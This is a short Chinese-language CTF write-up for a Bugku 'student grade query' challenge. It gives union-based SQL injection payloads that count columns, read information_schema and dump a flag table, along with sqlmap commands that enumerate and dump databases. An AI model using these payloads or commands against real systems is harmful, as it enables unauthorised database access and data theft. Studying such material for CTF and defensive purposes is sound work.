手动方法
首先测试是否有SQL注入例如
id=1'
出现错误
id=1'#
正确回显
说明有SQL注入
接着用看看有几列 一般3,4列
id=1' order by 4#
假如正确回显
试试id=1' order by 5#
无正确回显说明有四列
接着使用union联合注入,union 的作用是将两个 sql 语句进行联合,union 前后的两个 sql 语句的选择列数要相同才可以。记得把前面的查询数据置空,写成id=-1或0即可,显示正常,说明确确实实存在这四列数据一般情况下查数据库名
id=0’ union select 1,2,3,database()#
其实直接查表名就行
id=0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
如果表名fl4g查列名
id=0' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name='fl4g'#
如果列名skctf_ctf
id=0' union select 1,2,3,skctf_flag from fl4g#
如果只知道表名可以不用查列名直接
id=0' union select 1,2,3,(select * from fl4g)#
sqlmap方法
1、检测SQL注入
python sqlmap.py -u "链接" --data="id=1"
期间会问,一般这样
看起来后端DBMS是“ MySQL”。 您是否要跳过特定于其他DBMS的测试有效负载? [Y / n] y
对于其余测试,您是否要包括所有针对“ MySQL”的测试,以扩展提供的级别(1)和风险(1)值?n
POST参数'id'容易受到攻击。 您是否要继续测试其他产品(如果有)? [y / N] y
2、查数据库
python sqlmap.py -u "链接" --data="id=1" --dbs
如果数据库skctf_flag
3、查表
python sqlmap.py -u "链接" --data="id=1" -D skctf_flag --tables
3、表数据
python sqlmap.py -u "链接" --data="id=1" -D skctf_flag --dump
出结果
例题bugku学生成绩查询